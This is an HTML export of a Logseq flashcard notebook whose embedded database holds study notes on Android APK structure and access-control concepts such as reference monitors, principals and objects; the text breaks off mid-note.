64 lines
620 KiB
HTML
64 lines
620 KiB
HTML
<!DOCTYPE html>
|
||
<head><meta charset="utf-8"></meta>
|
||
<meta content="minimum-scale=1, initial-scale=1, width=device-width, shrink-to-fit=no" name="viewport"></meta>
|
||
<link type="text/css" href="static/css/tabler-icons.min.css" rel="stylesheet"></link>
|
||
<link type="text/css" href="static/css/style.css" rel="stylesheet"></link>
|
||
<link type="text/css" href="static/css/custom.css" rel="stylesheet"></link>
|
||
<link type="text/css" href="static/css/export.css" rel="stylesheet"></link>
|
||
<link href="static/img/logo.png" type="image/png" rel="shortcut icon"></link>
|
||
<link href="static/img/logo.png" sizes="192x192" rel="shortcut icon"></link>
|
||
<link href="static/img/logo.png" rel="apple-touch-icon"></link>
|
||
<meta name="apple-mobile-web-app-title"></meta>
|
||
<meta name="apple-mobile-web-app-capable" content="yes"></meta>
|
||
<meta name="apple-touch-fullscreen" content="yes"></meta>
|
||
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"></meta>
|
||
<meta name="mobile-web-app-capable" content="yes"></meta>
|
||
<meta property="og:title"></meta>
|
||
<meta content="site" property="og:type"></meta>
|
||
<meta content="static/img/logo.png" property="og:image"></meta>
|
||
<meta property="og:description"></meta>
|
||
<title></title>
|
||
<meta property="og:site_name"></meta>
|
||
<meta></meta>
|
||
</head>
|
||
<body><div id="root"></div>
|
||
<script>window.logseq_db="[logseq____"~#datascript/DBlogseq____",[logseq____"^ logseq____",logseq____"~:schemalogseq____",[logseq____"^ logseq____",logseq____"~:ast/versionlogseq____",[logseq____"^ logseq____"],logseq____"~:file/contentlogseq____",[logseq____"^ logseq____"],logseq____"~:block/properties-text-valueslogseq____",[logseq____"^ logseq____"],logseq____"~:block/aliaslogseq____",[logseq____"^ logseq____",logseq____"~:db/valueTypelogseq____",logseq____"~:db.type/reflogseq____",logseq____"~:db/cardinalitylogseq____",logseq____"~:db.cardinality/manylogseq____"],logseq____"~:block/pre-block?logseq____",[logseq____"^ logseq____"],logseq____"~:block/uuidlogseq____",[logseq____"^ logseq____",logseq____"~:db/uniquelogseq____",logseq____"~:db.unique/identitylogseq____"],logseq____"~:block/prioritylogseq____",[logseq____"^ logseq____"],logseq____"~:block/propertieslogseq____",[logseq____"^ logseq____"],logseq____"~:block/journal?logseq____",[logseq____"^ logseq____"],logseq____"~:block/namespacelogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____"],logseq____"~:block/updated-atlogseq____",[logseq____"^ logseq____"],logseq____"~:block/repeated?logseq____",[logseq____"^ logseq____"],logseq____"~:db/typelogseq____",[logseq____"^ logseq____"],logseq____"~:file/handlelogseq____",[logseq____"^ logseq____"],logseq____"~:block/leftlogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"~:db/indexlogseq____",true],logseq____"~:block/refslogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^8logseq____",logseq____"^9logseq____"],logseq____"~:block/scheduledlogseq____",[logseq____"^ logseq____"],logseq____"~:block/properties-orderlogseq____",[logseq____"^ logseq____"],logseq____"~:block/created-atlogseq____",[logseq____"^ logseq____"],logseq____"~:block/deadlinelogseq____",[logseq____"^ logseq____"],logseq____"~:block/collapsed?logseq____",[logseq____"^ logseq____",logseq____"^Glogseq____",true],logseq____"~:block/journal-daylogseq____",[logseq____"^ logseq____"],logseq____"~:block/formatlogseq____",[logseq____"^ logseq____"],logseq____"~:block/tagslogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^8logseq____",logseq____"^9logseq____"],logseq____"~:block/contentlogseq____",[logseq____"^ logseq____"],logseq____"~:recent/pageslogseq____",[logseq____"^ logseq____"],logseq____"~:block/macroslogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^8logseq____",logseq____"^9logseq____"],logseq____"~:db/identlogseq____",[logseq____"^ logseq____",logseq____"^logseq____<logseq____",logseq____"^=logseq____"],logseq____"~:block/path-refslogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^8logseq____",logseq____"^9logseq____"],logseq____"~:block/parentlogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^Glogseq____",true],logseq____"~:block/typelogseq____",[logseq____"^ logseq____"],logseq____"~:block/pagelogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^Glogseq____",true],logseq____"~:block/namelogseq____",[logseq____"^ logseq____",logseq____"^logseq____<logseq____",logseq____"^=logseq____"],logseq____"~:file/pathlogseq____",[logseq____"^ logseq____",logseq____"^logseq____<logseq____",logseq____"^=logseq____"],logseq____"~:block/filelogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____"],logseq____"~:block/markerlogseq____",[logseq____"^ logseq____"],logseq____"~:block/original-namelogseq____",[logseq____"^ logseq____",logseq____"^logseq____<logseq____",logseq____"^=logseq____"],logseq____"~:schema/versionlogseq____",[logseq____"^ logseq____"]],logseq____"~:datomslogseq____",[logseq____"~#listlogseq____",[[logseq____"~#datascript/Datomlogseq____",[1,logseq____"^12logseq____",2,536870913]],[logseq____"^15logseq____",[2,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[2,logseq____"^Ylogseq____",logseq____"cardlogseq____",536870913]],[logseq____"^15logseq____",[2,logseq____"^11logseq____",logseq____"cardlogseq____",536870913]],[logseq____"^15logseq____",[2,logseq____"^;logseq____",logseq____"~u67b983c8-6e3c-434e-b59f-7ca13d3d71bdlogseq____",536873242]],[logseq____"^15logseq____",[3,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[3,logseq____"^Ylogseq____",logseq____"canceledlogseq____",536870914]],[logseq____"^15logseq____",[3,logseq____"^11logseq____",logseq____"CANCELEDlogseq____",536870914]],[logseq____"^15logseq____",[3,logseq____"^;logseq____",logseq____"~u010777fc-fc4d-4d9d-8946-16fd938eb444logseq____",536873216]],[logseq____"^15logseq____",[4,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[4,logseq____"^Ylogseq____",logseq____"todologseq____",536870914]],[logseq____"^15logseq____",[4,logseq____"^11logseq____",logseq____"TODOlogseq____",536870914]],[logseq____"^15logseq____",[4,logseq____"^;logseq____",logseq____"~u346701f9-0061-4b79-94d9-02b945ef39d4logseq____",536873216]],[logseq____"^15logseq____",[5,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[5,logseq____"^Ylogseq____",logseq____"nowlogseq____",536870914]],[logseq____"^15logseq____",[5,logseq____"^11logseq____",logseq____"NOWlogseq____",536870914]],[logseq____"^15logseq____",[5,logseq____"^;logseq____",logseq____"~ue5574437-bf8f-4d28-b4b5-8a4ba0d1490dlogseq____",536873216]],[logseq____"^15logseq____",[6,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[6,logseq____"^Ylogseq____",logseq____"laterlogseq____",536870914]],[logseq____"^15logseq____",[6,logseq____"^11logseq____",logseq____"LATERlogseq____",536870914]],[logseq____"^15logseq____",[6,logseq____"^;logseq____",logseq____"~u9f1cfa00-38f6-4e6a-ae7b-9692f95f985alogseq____",536873216]],[logseq____"^15logseq____",[7,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[7,logseq____"^Ylogseq____",logseq____"donelogseq____",536870914]],[logseq____"^15logseq____",[7,logseq____"^11logseq____",logseq____"DONElogseq____",536870914]],[logseq____"^15logseq____",[7,logseq____"^;logseq____",logseq____"~u4bd79662-1f82-4989-a94f-9655fa75020flogseq____",536873216]],[logseq____"^15logseq____",[8,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[8,logseq____"^Ylogseq____",logseq____"doinglogseq____",536870914]],[logseq____"^15logseq____",[8,logseq____"^11logseq____",logseq____"DOINGlogseq____",536870914]],[logseq____"^15logseq____",[8,logseq____"^;logseq____",logseq____"~u6e6bcb86-940d-4002-9132-88ad7fd87b52logseq____",536873216]],[logseq____"^15logseq____",[9,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[9,logseq____"^Ylogseq____",logseq____"in-progresslogseq____",536870914]],[logseq____"^15logseq____",[9,logseq____"^11logseq____",logseq____"IN-PROGRESSlogseq____",536870914]],[logseq____"^15logseq____",[9,logseq____"^;logseq____",logseq____"~uab743b10-f4d3-4149-90f9-f755f0fab98flogseq____",536873216]],[logseq____"^15logseq____",[10,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[10,logseq____"^Ylogseq____",logseq____"clogseq____",536870914]],[logseq____"^15logseq____",[10,logseq____"^11logseq____",logseq____"Clogseq____",536870914]],[logseq____"^15logseq____",[10,logseq____"^;logseq____",logseq____"~u70305778-b728-434a-a3c2-e4dbc06f23belogseq____",536873216]],[logseq____"^15logseq____",[11,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[11,logseq____"^Ylogseq____",logseq____"blogseq____",536870914]],[logseq____"^15logseq____",[11,logseq____"^11logseq____",logseq____"Blogseq____",536870914]],[logseq____"^15logseq____",[11,logseq____"^;logseq____",logseq____"~u25248f2a-467c-4256-bad6-9d12ed6eb3aflogseq____",536873216]],[logseq____"^15logseq____",[12,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[12,logseq____"^Ylogseq____",logseq____"contentslogseq____",536870914]],[logseq____"^15logseq____",[12,logseq____"^11logseq____",logseq____"Contentslogseq____",536870914]],[logseq____"^15logseq____",[12,logseq____"^;logseq____",logseq____"~ueaa0a5ae-b79d-4fb8-9a37-92dec13cb999logseq____",536873216]],[logseq____"^15logseq____",[13,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[13,logseq____"^Ylogseq____",logseq____"waitinglogseq____",536870914]],[logseq____"^15logseq____",[13,logseq____"^11logseq____",logseq____"WAITINGlogseq____",536870914]],[logseq____"^15logseq____",[13,logseq____"^;logseq____",logseq____"~u3a18106f-68d8-4296-8770-149dc461c7d0logseq____",536873216]],[logseq____"^15logseq____",[14,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[14,logseq____"^Ylogseq____",logseq____"favoriteslogseq____",536870914]],[logseq____"^15logseq____",[14,logseq____"^11logseq____",logseq____"Favoriteslogseq____",536870914]],[logseq____"^15logseq____",[14,logseq____"^;logseq____",logseq____"~ud497fdcd-2f79-428d-a896-786f6350ffb9logseq____",536873216]],[logseq____"^15logseq____",[15,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[15,logseq____"^Ylogseq____",logseq____"alogseq____",536870914]],[logseq____"^15logseq____",[15,logseq____"^11logseq____",logseq____"Alogseq____",536870914]],[logseq____"^15logseq____",[15,logseq____"^;logseq____",logseq____"~u5cf59229-1bcf-4c78-a1b1-656a87bc571dlogseq____",536873216]],[logseq____"^15logseq____",[16,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[16,logseq____"^Ylogseq____",logseq____"cancelledlogseq____",536870914]],[logseq____"^15logseq____",[16,logseq____"^11logseq____",logseq____"CANCELLEDlogseq____",536870914]],[logseq____"^15logseq____",[16,logseq____"^;logseq____",logseq____"~uffa865ff-7b0b-40fd-9ebb-a9f0470d07b5logseq____",536873216]],[logseq____"^15logseq____",[17,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[17,logseq____"^Ylogseq____",logseq____"waitlogseq____",536870914]],[logseq____"^15logseq____",[17,logseq____"^11logseq____",logseq____"WAITlogseq____",536870914]],[logseq____"^15logseq____",[17,logseq____"^;logseq____",logseq____"~ud5337e46-96f8-4f8f-86a9-ad95145a42cblogseq____",536873216]],[logseq____"^15logseq____",[21,logseq____"^Qlogseq____",logseq____"logseq____",536870916]],[logseq____"^15logseq____",[21,logseq____"^Ologseq____",logseq____"~:markdownlogseq____",536870916]],[logseq____"^15logseq____",[21,logseq____"^Flogseq____",12,536870916]],[logseq____"^15logseq____",[21,logseq____"^Xlogseq____",12,536870916]],[logseq____"^15logseq____",[21,logseq____"^Vlogseq____",12,536870916]],[logseq____"^15logseq____",[21,logseq____"^Ulogseq____",12,536870916]],[logseq____"^15logseq____",[21,logseq____"^;logseq____",logseq____"~u67b83fab-a905-406b-b453-fad4fa5ed559logseq____",536870916]],[logseq____"^15logseq____",[23,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[23,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[23,logseq____"^Ylogseq____",logseq____"apk (android package)logseq____",536870916]],[logseq____"^15logseq____",[23,logseq____"^11logseq____",logseq____"APK (Android Package)logseq____",536870916]],[logseq____"^15logseq____",[23,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[23,logseq____"^;logseq____",logseq____"~u67b983c7-5902-4187-ab8c-9fe08abc239alogseq____",536873233]],[logseq____"^15logseq____",[24,logseq____"^Klogseq____",1740128172076,536870916]],[logseq____"^15logseq____",[24,logseq____"^Ologseq____",logseq____"^16logseq____",536873716]],[logseq____"^15logseq____",[24,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[24,logseq____"^Ylogseq____",logseq____"android-basicslogseq____",536870916]],[logseq____"^15logseq____",[24,logseq____"^11logseq____",logseq____"android-basicslogseq____",536870916]],[logseq____"^15logseq____",[24,logseq____"^Blogseq____",1740128172076,536870916]],[logseq____"^15logseq____",[24,logseq____"^;logseq____",logseq____"~u67b983c7-8d24-4205-a6fa-cc320912efa6logseq____",536873239]],[logseq____"^15logseq____",[25,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[25,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[25,logseq____"^Ylogseq____",logseq____"content provider componentslogseq____",536870916]],[logseq____"^15logseq____",[25,logseq____"^11logseq____",logseq____"Content Provider Componentslogseq____",536870916]],[logseq____"^15logseq____",[25,logseq____"^Blogseq____",1740133423356,536872684]],[logseq____"^15logseq____",[25,logseq____"^;logseq____",logseq____"~u67b83fac-b2e2-4556-b3ad-d901f35ed86clogseq____",536870916]],[logseq____"^15logseq____",[26,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[26,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[26,logseq____"^Ylogseq____",logseq____"service componentslogseq____",536870916]],[logseq____"^15logseq____",[26,logseq____"^11logseq____",logseq____"Service Componentslogseq____",536870916]],[logseq____"^15logseq____",[26,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[26,logseq____"^;logseq____",logseq____"~u67b983c7-1008-4728-b76a-213ebe0323d0logseq____",536873233]],[logseq____"^15logseq____",[27,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[27,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[27,logseq____"^Ylogseq____",logseq____"activity componentlogseq____",536870916]],[logseq____"^15logseq____",[27,logseq____"^11logseq____",logseq____"Activity Componentlogseq____",536870916]],[logseq____"^15logseq____",[27,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[27,logseq____"^;logseq____",logseq____"~u67b83fac-9b90-43fb-90b5-27cf47cfe5c7logseq____",536870916]],[logseq____"^15logseq____",[28,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[28,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[28,logseq____"^Ylogseq____",logseq____"application manifestlogseq____",536870916]],[logseq____"^15logseq____",[28,logseq____"^11logseq____",logseq____"Application Manifestlogseq____",536870916]],[logseq____"^15logseq____",[28,logseq____"^Blogseq____",1740129740002,536871584]],[logseq____"^15logseq____",[28,logseq____"^;logseq____",logseq____"~u67b983c7-5253-4c77-b815-6d8389b04fcflogseq____",536873236]],[logseq____"^15logseq____",[29,logseq____"^Qlogseq____",logseq____"Simply a *packaging format* (similar to `zip` or `jar`)logseq____",536870916]],[logseq____"^15logseq____",[29,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[29,logseq____"^Flogseq____",23,536870916]],[logseq____"^15logseq____",[29,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[29,logseq____"^Vlogseq____",23,536870916]],[logseq____"^15logseq____",[29,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[29,logseq____"^;logseq____",logseq____"~u67b83fab-c5ac-4c34-b494-6d145a75719dlogseq____",536870916]],[logseq____"^15logseq____",[30,logseq____"^Qlogseq____",logseq____"## Structure: #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[30,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[30,logseq____"^Flogseq____",29,536870916]],[logseq____"^15logseq____",[30,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[30,logseq____"^Vlogseq____",23,536870916]],[logseq____"^15logseq____",[30,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[30,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[30,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[30,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:headinglogseq____",2],536873233]],[logseq____"^15logseq____",[30,logseq____"^Jlogseq____",[],536873233]],[logseq____"^15logseq____",[30,logseq____"^Hlogseq____",2,536873233]],[logseq____"^15logseq____",[30,logseq____"^Hlogseq____",24,536873233]],[logseq____"^15logseq____",[30,logseq____"^;logseq____",logseq____"~u67b83fab-d8f0-4da3-b776-987482f63ce6logseq____",536870916]],[logseq____"^15logseq____",[31,logseq____"^Qlogseq____",logseq____"Components ([[Activity]], [[Service Components]], [[Content Provider]] etc.)logseq____",536873233]],[logseq____"^15logseq____",[31,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[31,logseq____"^Flogseq____",30,536870916]],[logseq____"^15logseq____",[31,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[31,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",25,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",27,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",411,536873233]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",412,536873233]],[logseq____"^15logseq____",[31,logseq____"^Hlogseq____",26,536873233]],[logseq____"^15logseq____",[31,logseq____"^Hlogseq____",411,536873233]],[logseq____"^15logseq____",[31,logseq____"^Hlogseq____",412,536873233]],[logseq____"^15logseq____",[31,logseq____"^;logseq____",logseq____"~u67b83fab-1606-4ab2-a422-d276e409c9d0logseq____",536870916]],[logseq____"^15logseq____",[32,logseq____"^Qlogseq____",logseq____"Native Code (`C`/`C++` shared libraries) that can be linked dynamically into the processlogseq____",536870916]],[logseq____"^15logseq____",[32,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[32,logseq____"^Flogseq____",31,536870916]],[logseq____"^15logseq____",[32,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[32,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[32,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[32,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[32,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[32,logseq____"^;logseq____",logseq____"~u67b83fab-d8ca-46d8-97ca-6ccb4a15e44dlogseq____",536870916]],[logseq____"^15logseq____",[33,logseq____"^Qlogseq____",logseq____"Resources (images, strings)logseq____",536870916]],[logseq____"^15logseq____",[33,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[33,logseq____"^Flogseq____",32,536870916]],[logseq____"^15logseq____",[33,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[33,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[33,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[33,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[33,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[33,logseq____"^;logseq____",logseq____"~u67b83fab-eb74-464e-8b3c-33ebcf297a51logseq____",536870916]],[logseq____"^15logseq____",[34,logseq____"^Qlogseq____",logseq____"~`META-INF` (application certificate, package manifest)logseq____",536870916]],[logseq____"^15logseq____",[34,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[34,logseq____"^Flogseq____",33,536870916]],[logseq____"^15logseq____",[34,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[34,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[34,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[34,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[34,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[34,logseq____"^;logseq____",logseq____"~u67b83fab-3432-4b02-8517-ba4278b54aeelogseq____",536870916]],[logseq____"^15logseq____",[35,logseq____"^Qlogseq____",logseq____"[[Application Manifest]]logseq____",536870916]],[logseq____"^15logseq____",[35,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[35,logseq____"^Flogseq____",34,536870916]],[logseq____"^15logseq____",[35,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[35,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[35,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[35,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[35,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[35,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[35,logseq____"^Hlogseq____",28,536873233]],[logseq____"^15logseq____",[35,logseq____"^;logseq____",logseq____"~u67b83fab-d123-4c64-af34-59c9559adbf8logseq____",536870916]],[logseq____"^15logseq____",[37,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[37,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[37,logseq____"^Ylogseq____",logseq____"access controllogseq____",536870916]],[logseq____"^15logseq____",[37,logseq____"^11logseq____",logseq____"Access Controllogseq____",536870916]],[logseq____"^15logseq____",[37,logseq____"^Blogseq____",1740129291432,536871364]],[logseq____"^15logseq____",[37,logseq____"^;logseq____",logseq____"~u67b983c8-884f-45ae-ab1d-44386241d6a4logseq____",536873242]],[logseq____"^15logseq____",[38,logseq____"^Klogseq____",1740128172064,536870916]],[logseq____"^15logseq____",[38,logseq____"^Ologseq____",logseq____"^16logseq____",536870920]],[logseq____"^15logseq____",[38,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[38,logseq____"^Ylogseq____",logseq____"security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[38,logseq____"^11logseq____",logseq____"security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[38,logseq____"^Blogseq____",1740128172064,536870916]],[logseq____"^15logseq____",[38,logseq____"^;logseq____",logseq____"~u67b983c8-aa46-414d-97fc-99d886331c26logseq____",536873242]],[logseq____"^15logseq____",[39,logseq____"^Qlogseq____",logseq____"*object-centered* approach: associate objects with list of subjects and their access rightslogseq____",536870916]],[logseq____"^15logseq____",[39,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[39,logseq____"^Flogseq____",57,536870916]],[logseq____"^15logseq____",[39,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[39,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[39,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[39,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[39,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[39,logseq____"^;logseq____",logseq____"~u67b83fab-86b8-41c8-9dd4-c79aac51d247logseq____",536870916]],[logseq____"^15logseq____",[40,logseq____"^Qlogseq____",logseq____"System can authenticate the userlogseq____",536870916]],[logseq____"^15logseq____",[40,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[40,logseq____"^Flogseq____",41,536870916]],[logseq____"^15logseq____",[40,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[40,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[40,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[40,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[40,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[40,logseq____"^;logseq____",logseq____"~u67b83fab-86ab-468b-8638-cb455021afeelogseq____",536870916]],[logseq____"^15logseq____",[41,logseq____"^Qlogseq____",logseq____"## Reference Monitor #card #security-architecture\\nid:: 67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____",536870916]],[logseq____"^15logseq____",[41,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[41,logseq____"^Flogseq____",37,536870916]],[logseq____"^15logseq____",[41,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[41,logseq____"^Vlogseq____",37,536870916]],[logseq____"^15logseq____",[41,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[41,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[41,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[41,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:idlogseq____",logseq____"67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[41,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536870916]],[logseq____"^15logseq____",[41,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____"],536870916]],[logseq____"^15logseq____",[41,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[41,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[41,logseq____"^;logseq____",logseq____"~u67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____",536870916]],[logseq____"^15logseq____",[42,logseq____"^Qlogseq____",logseq____"*Object*: Passive entity that is being accessed, e.g., filelogseq____",536870916]],[logseq____"^15logseq____",[42,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[42,logseq____"^Flogseq____",52,536870916]],[logseq____"^15logseq____",[42,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[42,logseq____"^Vlogseq____",49,536870916]],[logseq____"^15logseq____",[42,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[42,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[42,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[42,logseq____"^;logseq____",logseq____"~u67b83fab-f244-4162-b609-47ff518d9d86logseq____",536870916]],[logseq____"^15logseq____",[43,logseq____"^Qlogseq____",logseq____"*Principal*: Authenticated entity, e.g., userlogseq____",536870916]],[logseq____"^15logseq____",[43,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[43,logseq____"^Flogseq____",49,536870916]],[logseq____"^15logseq____",[43,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[43,logseq____"^Vlogseq____",49,536870916]],[logseq____"^15logseq____",[43,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[43,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[43,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[43,logseq____"^;logseq____",logseq____"~u67b83fab-f332-4cad-bb3a-58e73f52c80alogseq____",536870916]],[logseq____"^15logseq____",[44,logseq____"^Qlogseq____",logseq____"*Authority* that is *implicitly* used by a subjectlogseq____",536870916]],[logseq____"^15logseq____",[44,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[44,logseq____"^Flogseq____",60,536870916]],[logseq____"^15logseq____",[44,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[44,logseq____"^Vlogseq____",60,536870916]],[logseq____"^15logseq____",[44,logseq____"^Ulogseq____",2,536871284]],[logseq____"^15logseq____",[44,logseq____"^Ulogseq____",37,536871284]],[logseq____"^15logseq____",[44,logseq____"^Ulogseq____",38,536871284]],[logseq____"^15logseq____",[44,logseq____"^;logseq____",logseq____"~u67b83fab-ba72-4414-9e61-cf8bd6826561logseq____",536870916]],[logseq____"^15logseq____",[45,logseq____"^Qlogseq____",logseq____"Pass access requests through a reference 